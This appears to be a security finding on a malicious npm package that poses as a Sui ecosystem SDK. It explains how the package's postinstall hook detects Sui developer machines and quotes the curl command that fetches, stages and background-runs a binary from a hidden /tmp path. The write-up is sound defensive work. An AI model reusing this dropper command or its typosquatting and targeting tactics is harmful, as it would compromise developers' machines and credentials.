bucket-protocol-sdk-v2@1.0.26

bucket-protocol-sdk-v2 advertises itself as a 'community maintained drop-in replacement' for the Sui ecosystem's bucket-protocol-sdk, but its src/ tree contains only empty stubs (`bucket.ts: export {};`, `index.ts: export * from './bucket';`) — no real SDK code is shipped. The entire payload is the postinstall hook. package.json declares `"postinstall": "node install.js"`; install.js checks whether the host is a Sui developer (presence of the `sui` binary or `~/.sui/sui_config/client.yaml`) and then runs `curl -s -L -o /tmp/.sui-helper ${implantUrl} && chmod +x /tmp/.sui-helper && /tmp/.sui-helper &` to fetch, stage, and background-execute an attacker binary at a hidden /tmp path. The variable is literally named `implantUrl` with the comment `PUT YOUR ACTUAL 0x0.st URL HERE`, identifying the intended payload host as the anonymous 0x0.st file dump. The URL is currently an empty string in this published version (staged/broken release), so today's install does not actually fetch a binary, but the dropper scaffolding, target-gating, hidden staging path, backgrounded execution, and typosquat-of-a-Sui-SDK lure are unambiguous. Any subsequent republish trivially fills the URL. The combination of hostile-named scaffolding, dev-machine-targeting gate, anonymous-host comment, and hollow library content satisfies the namespace-abuse-typosquat-with-payload and generic-binary-runner-dropper patterns.